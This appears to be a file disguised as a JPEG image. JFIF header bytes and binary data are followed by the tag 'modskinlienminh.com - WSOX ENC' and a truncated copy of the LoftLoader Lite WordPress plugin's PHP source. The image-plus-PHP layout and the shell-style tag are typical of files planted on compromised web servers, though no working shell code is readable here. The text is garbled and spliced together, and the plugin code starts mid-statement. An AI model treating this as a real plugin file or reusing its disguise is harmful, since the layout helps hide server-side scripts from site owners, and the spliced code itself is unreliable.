���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC load_upgrade(); $this->load_customize(); add_action( 'wp', array( $this, 'load_front' ) ); add_action( 'admin_menu', array( $this, 'admin_menu' ) ); add_filter( 'plugin_action_links_' . LOFTLOADER_NAME, array( $this, 'plugin_action_links' ) ); } /** * For LoftLoader customize, load the customize related functions */ function load_upgrade() { require_once LOFTLOADER_ROOT . 'inc/class-loftloader-upgrade.php'; } /** * For LoftLoader upgrade, load the upgrade related functions */ function load_customize() { require_once LOFTLOADER_ROOT . 'inc/class-loftloader-customize.php'; } /** * For LoftLoader front, load the front end related functions */ function load_front() { require_once LOFTLOADER_ROOT . 'inc/class-loftloader-front.php'; } /** * Add new setting link to loftloader */ function plugin_action_links( $links ) { $customize_url = $this->get_customize_uri(); $action_links = array( 'settings' => '' . esc_html__('Settings', 'loftloader') . '' ); return array_merge( $action_links, $links ); } /** * Add an admin menu for loftloader */ function admin_menu() { global $submenu; $customize_url = $this->get_customize_uri(); $submenu['options-general.php'][] = array( esc_html__( 'LoftLoader Lite', 'loftloader' ), 'manage_options', $customize_url, 'hide-if-no-customize' ); } /** * Helper function to get loftloader customize url * @return url loftloader customize uri */ function get_customize_uri() { $return_url = ''; if ( ! empty( $_SERVER['REQUEST_URI'] ) ) { $return_url = urlencode( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); } return add_query_arg( array('return' => $return_url, 'plugin' => 'loftloader-lite' ), 'customize.php' ); } } // Init loftloader lite add_action( 'after_setup_theme', 'loftloader_init' ); function loftloader_init() { if ( ! class_exists( 'LoftLoader_Pro' ) ) { new LoftLoader(); } } add_action( 'plugins_loaded', 'loftloader_any_page' ); function loftloader_any_page() { if ( ! class_exists( 'LoftLoader_Pro' ) ) { $enable_any_page = get_option( 'loftloader_enable_any_page', '' ); if ( $enable_any_page === 'on' ) { require_once LOFTLOADER_ROOT . 'inc/any-page/class-loftloader-any-page.php'; } } } // Remove widget panels add_filter( 'customize_loaded_components', 'loftloader_remove_widget_panels', 1000 ); function loftloader_remove_widget_panels( $components ) { if ( ! class_exists( 'LoftLoader_Pro' ) && ( isset( $_GET['plugin'] ) && ( $_GET['plugin'] === 'loftloader-lite' ) ) ) { foreach ( $components as $i => $c ) { if ( false !== $i ) { unset( $components[ $i ] ); } } } return $components; } /** * Helper function to test on loftloader customize page * * @return boolean */ function loftloader_is_customize() { global $wp_customize; return ( isset($_GET['plugin'] ) && ( $_GET['plugin'] === 'loftloader-lite') ) || ( isset( $wp_customize ) && $wp_customize->is_preview() && ! is_admin() ) || defined( 'DOING_AJAX' ); } } /** * Deletes saved data for the plugin unless setting to preserve * settings is enabled * * @since 2.0 custom tables, custom images, and image directory deleted * @since 1.0 */ function loftloader_plugin_uninstall() { if ( ! current_user_can( 'activate_plugins' ) ) { return; } if ( 'on' != get_option( 'loftloader_remove_settings', '' ) ) { return; } global $wpdb; $table_name = esc_sql( $wpdb->prefix . "postmeta" ); $result = $wpdb->query(" DELETE FROM $table_name WHERE meta_key = 'loftloader_page_shortcode';" ); delete_option( 'loftloader_lite_version' ); delete_option( 'loftloader_main_switch' ); delete_option( 'loftloader_show_range' ); delete_option( 'loftloader_bg_color' ); delete_option( 'loftloader_bg_opacity' ); delete_option( 'loftloader_bg_animation' ); delete_option( 'loftloader_loader_type' ); delete_option( 'loftloader_loader_color' ); delete_option( 'loftloader_custom_img' ); delete_option( 'loftloader_img_width' ); delete_option( 'loftloader_show_close_timer' ); delete_option( 'loftloader_show_close_tip' ); delete_option( 'loftloader_max_load_time' ); delete_option( 'loftloader_inline_js' ); delete_option( 'loftloader_enable_any_page' ); delete_option( 'loftloader_remove_settings' ); } register_deactivation_hook( __FILE__, 'loftloader_plugin_uninstall' );